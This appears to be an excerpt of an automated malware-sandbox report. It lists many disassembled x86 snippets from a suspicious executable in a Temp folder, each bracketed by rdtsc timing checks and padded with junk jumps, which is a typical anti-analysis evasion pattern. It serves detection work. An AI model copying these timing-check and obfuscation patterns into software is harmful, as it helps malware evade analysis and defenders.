Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	RDTSC instruction interceptor: First address: 5D4C44 second address: 5D4C9E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FAAF9128035h 0x00000008 jnp 00007FAAF9128026h 0x0000000e jmp 00007FAAF9128030h 0x00000013 popad 0x00000014 push esi 0x00000015 jmp 00007FAAF912802Dh 0x0000001a jmp 00007FAAF9128035h 0x0000001f pop esi 0x00000020 pop edx 0x00000021 pop eax 0x00000022 push ecx 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	RDTSC instruction interceptor: First address: 5D4C9E second address: 5D4CAE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jo 00007FAAF8FC5086h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	RDTSC instruction interceptor: First address: 5D4CAE second address: 5D4CB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	RDTSC instruction interceptor: First address: 5D4CB2 second address: 5D4CB6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	RDTSC instruction interceptor: First address: 5D4DD8 second address: 5D4DFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 jmp 00007FAAF912802Dh 0x0000000e jnp 00007FAAF9128032h 0x00000014 jnc 00007FAAF9128026h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	RDTSC instruction interceptor: First address: 5D4DFC second address: 5D4E0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jo 00007FAAF8FC5098h 0x0000000b push esi 0x0000000c pushad 0x0000000d popad 0x0000000e pop esi 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	RDTSC instruction interceptor: First address: 5D8665 second address: 5D8669 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	RDTSC instruction interceptor: First address: 5D8758 second address: 5D87C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 pop esi 0x00000008 mov eax, dword ptr [eax] 0x0000000a jmp 00007FAAF8FC5098h 0x0000000f mov dword ptr [esp+04h], eax 0x00000013 jmp 00007FAAF8FC508Bh 0x00000018 pop eax 0x00000019 push eax 0x0000001a stc 0x0000001b pop ecx 0x0000001c push 00000003h 0x0000001e push 00000000h 0x00000020 push ecx 0x00000021 call 00007FAAF8FC5088h 0x00000026 pop ecx 0x00000027 mov dword ptr [esp+04h], ecx 0x0000002b add dword ptr [esp+04h], 00000018h 0x00000033 inc ecx 0x00000034 push ecx 0x00000035 ret 0x00000036 pop ecx 0x00000037 ret 0x00000038 push 00000000h 0x0000003a cmc 0x0000003b push 00000003h 0x0000003d xor dword ptr [ebp+122D3657h], ecx 0x00000043 push E10E4E93h 0x00000048 pushad 0x00000049 push eax 0x0000004a push edx 0x0000004b push eax 0x0000004c push edx 0x0000004d rdtsc
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	RDTSC instruction interceptor: First address: 5D87C4 second address: 5D87C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	RDTSC instruction interceptor: First address: 5D87C8 second address: 5D87CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	RDTSC instruction interceptor: First address: 5D88D0 second address: 5D88DA instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	RDTSC instruction interceptor: First address: 5D88DA second address: 5D8901 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FAAF8FC5099h 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	RDTSC instruction interceptor: First address: 5D8AEB second address: 5D8AF1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	RDTSC instruction interceptor: First address: 5D8AF1 second address: 5D8AF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	RDTSC instruction interceptor: First address: 5D8AF5 second address: 5D8BBD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xor dword ptr [esp], 73C8A43Eh 0x0000000f mov edx, dword ptr [ebp+122D2CCEh] 0x00000015 push 00000003h 0x00000017 mov esi, dword ptr [ebp+122D1E10h] 0x0000001d push 00000000h 0x0000001f jmp 00007FAAF9128038h 0x00000024 push 00000003h 0x00000026 push 00000000h 0x00000028 push esi 0x00000029 call 00007FAAF9128028h 0x0000002e pop esi 0x0000002f mov dword ptr [esp+04h], esi 0x00000033 add dword ptr [esp+04h], 00000019h 0x0000003b inc esi 0x0000003c push esi 0x0000003d ret 0x0000003e pop esi 0x0000003f ret 0x00000040 mov edi, ecx 0x00000042 mov cx, 7F1Ah 0x00000046 sub esi, 37697B7Fh 0x0000004c push EE62F643h 0x00000051 pushad 0x00000052 pushad 0x00000053 push esi 0x00000054 pop esi 0x00000055 jc 00007FAAF9128026h 0x0000005b popad 0x0000005c jne 00007FAAF9128028h 0x00000062 popad 0x00000063 xor dword ptr [esp], 2E62F643h 0x0000006a jmp 00007FAAF9128037h 0x0000006f lea ebx, dword ptr [ebp+1244E59Ch] 0x00000075 mov edi, dword ptr [ebp+122D2CD2h] 0x0000007b push eax 0x0000007c push eax 0x0000007d push edx 0x0000007e pushad 0x0000007f pushad 0x00000080 popad 0x00000081 jmp 00007FAAF9128038h 0x00000086 popad 0x00000087 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	RDTSC instruction interceptor: First address: 5D8BBD second address: 5D8BD4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FAAF8FC5093h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	RDTSC instruction interceptor: First address: 5E9FF5 second address: 5EA00E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAAF9128035h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	RDTSC instruction interceptor: First address: 5EA00E second address: 5EA018 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FAAF8FC508Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	RDTSC instruction interceptor: First address: 5EA018 second address: 5EA02E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FAAF912802Dh 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	RDTSC instruction interceptor: First address: 5F6C8D second address: 5F6CA1 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FAAF8FC5088h 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d pop esi 0x0000000e jnl 00007FAAF8FC5086h 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	RDTSC instruction interceptor: First address: 5F7079 second address: 5F7098 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FAAF9128035h 0x00000009 jo 00007FAAF9128026h 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	RDTSC instruction interceptor: First address: 5F7098 second address: 5F709C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	RDTSC instruction interceptor: First address: 5F75ED second address: 5F75FF instructions: 0x00000000 rdtsc 0x00000002 js 00007FAAF9128028h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f pushad 0x00000010 popad 0x00000011 pop eax 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	RDTSC instruction interceptor: First address: 5F772E second address: 5F7734 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	RDTSC instruction interceptor: First address: 5F7734 second address: 5F7752 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FAAF9128037h 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	RDTSC instruction interceptor: First address: 5F7752 second address: 5F77AE instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c jmp 00007FAAF8FC5099h 0x00000011 jmp 00007FAAF8FC5098h 0x00000016 jmp 00007FAAF8FC5096h 0x0000001b popad 0x0000001c jg 00007FAAF8FC5088h 0x00000022 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	RDTSC instruction interceptor: First address: 5F78EB second address: 5F791E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 jmp 00007FAAF9128038h 0x0000000c pop esi 0x0000000d pushad 0x0000000e jo 00007FAAF9128028h 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 push eax 0x00000017 push edx 0x00000018 jp 00007FAAF9128026h 0x0000001e push edi 0x0000001f pop edi 0x00000020 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	RDTSC instruction interceptor: First address: 5F7A7D second address: 5F7ACB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jg 00007FAAF8FC508Ah 0x0000000c pushad 0x0000000d popad 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 pop edi 0x00000011 jl 00007FAAF8FC50CDh 0x00000017 pushad 0x00000018 jmp 00007FAAF8FC508Ch 0x0000001d push ebx 0x0000001e pop ebx 0x0000001f jmp 00007FAAF8FC508Eh 0x00000024 jmp 00007FAAF8FC508Fh 0x00000029 popad 0x0000002a push eax 0x0000002b push edx 0x0000002c push edx 0x0000002d pop edx 0x0000002e jc 00007FAAF8FC5086h 0x00000034 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	RDTSC instruction interceptor: First address: 5F7ACB second address: 5F7AD5 instructions: 0x00000000 rdtsc 0x00000002 je 00007FAAF9128026h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	RDTSC instruction interceptor: First address: 5F7DCE second address: 5F7DE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAAF8FC5092h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	RDTSC instruction interceptor: First address: 5F7DE4 second address: 5F7DE8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	RDTSC instruction interceptor: First address: 5EE205 second address: 5EE225 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAAF8FC5098h 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	RDTSC instruction interceptor: First address: 5C3124 second address: 5C3147 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAAF9128037h 0x00000009 push eax 0x0000000a push edx 0x0000000b jnc 00007FAAF9128026h 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	RDTSC instruction interceptor: First address: 5F847A second address: 5F8480 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	RDTSC instruction interceptor: First address: 5F8480 second address: 5F848C instructions: 0x00000000 rdtsc 0x00000002 js 00007FAAF9128026h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	RDTSC instruction interceptor: First address: 5F8704 second address: 5F8708 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	RDTSC instruction interceptor: First address: 5F8708 second address: 5F8731 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FAAF912802Ah 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 jnp 00007FAAF912802Ah 0x00000017 pushad 0x00000018 popad 0x00000019 pushad 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d jne 00007FAAF9128026h 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	RDTSC instruction interceptor: First address: 5F8731 second address: 5F8735 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	RDTSC instruction interceptor: First address: 5F8735 second address: 5F8739 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	RDTSC instruction interceptor: First address: 5FA6AE second address: 5FA6BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push ecx 0x0000000a jng 00007FAAF8FC5086h 0x00000010 pop ecx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	RDTSC instruction interceptor: First address: 5FAE94 second address: 5FAEB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAAF9128035h 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	RDTSC instruction interceptor: First address: 5FBECD second address: 5FBEE7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAAF8FC5096h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	RDTSC instruction interceptor: First address: 5FBEE7 second address: 5FBF04 instructions: 0x00000000 rdtsc 0x00000002 js 00007FAAF9128028h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FAAF912802Dh 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	RDTSC instruction interceptor: First address: 5FBF04 second address: 5FBF2C instructions: 0x00000000 rdtsc 0x00000002 jg 00007FAAF8FC5086h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ecx 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 jmp 00007FAAF8FC5094h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	RDTSC instruction interceptor: First address: 5FBF2C second address: 5FBF31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	RDTSC instruction interceptor: First address: 6005DF second address: 6005FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FAAF8FC5086h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FAAF8FC508Fh 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	RDTSC instruction interceptor: First address: 6005FB second address: 6005FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	RDTSC instruction interceptor: First address: 6005FF second address: 600605 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	RDTSC instruction interceptor: First address: 600605 second address: 600627 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pushad 0x00000008 je 00007FAAF912802Ch 0x0000000e js 00007FAAF9128026h 0x00000014 push ebx 0x00000015 push edx 0x00000016 pop edx 0x00000017 pop ebx 0x00000018 push esi 0x00000019 pushad 0x0000001a popad 0x0000001b pop esi 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f popad 0x00000020 push esi 0x00000021 pop esi 0x00000022 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	RDTSC instruction interceptor: First address: 5C9CCF second address: 5C9CD3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	RDTSC instruction interceptor: First address: 5C9CD3 second address: 5C9CD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	RDTSC instruction interceptor: First address: 601BEB second address: 601BEF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	RDTSC instruction interceptor: First address: 601BEF second address: 601BFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FAAF9128026h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	RDTSC instruction interceptor: First address: 601BFB second address: 601C00 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	RDTSC instruction interceptor: First address: 601C00 second address: 601C0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push edx 0x00000007 pop edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	RDTSC instruction interceptor: First address: 601C0A second address: 601C15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	RDTSC instruction interceptor: First address: 601C15 second address: 601C19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	RDTSC instruction interceptor: First address: 601C19 second address: 601C1D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	RDTSC instruction interceptor: First address: 5BACD1 second address: 5BACE4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FAAF912802Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	RDTSC instruction interceptor: First address: 6048F8 second address: 604919 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FAAF8FC5086h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FAAF8FC5097h 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	RDTSC instruction interceptor: First address: 604919 second address: 60491E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	RDTSC instruction interceptor: First address: 604A79 second address: 604A83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FAAF8FC5086h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	RDTSC instruction interceptor: First address: 604EC4 second address: 604EDF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 je 00007FAAF9128026h 0x00000009 jne 00007FAAF9128026h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push edx 0x00000013 jng 00007FAAF9128032h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	RDTSC instruction interceptor: First address: 604EDF second address: 604EE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	RDTSC instruction interceptor: First address: 6085CC second address: 6085D2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	RDTSC instruction interceptor: First address: 6085D2 second address: 6085EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FAAF8FC5096h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	RDTSC instruction interceptor: First address: 6087BA second address: 6087BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	RDTSC instruction interceptor: First address: 6087BE second address: 6087C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	RDTSC instruction interceptor: First address: 6087C4 second address: 6087CB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	RDTSC instruction interceptor: First address: 6087CB second address: 6087DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 jbe 00007FAAF8FC5090h 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	RDTSC instruction interceptor: First address: 608D41 second address: 608D47 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	RDTSC instruction interceptor: First address: 6092B7 second address: 6092BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	RDTSC instruction interceptor: First address: 609349 second address: 609350 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	RDTSC instruction interceptor: First address: 609350 second address: 60935D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	RDTSC instruction interceptor: First address: 60935D second address: 609361 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
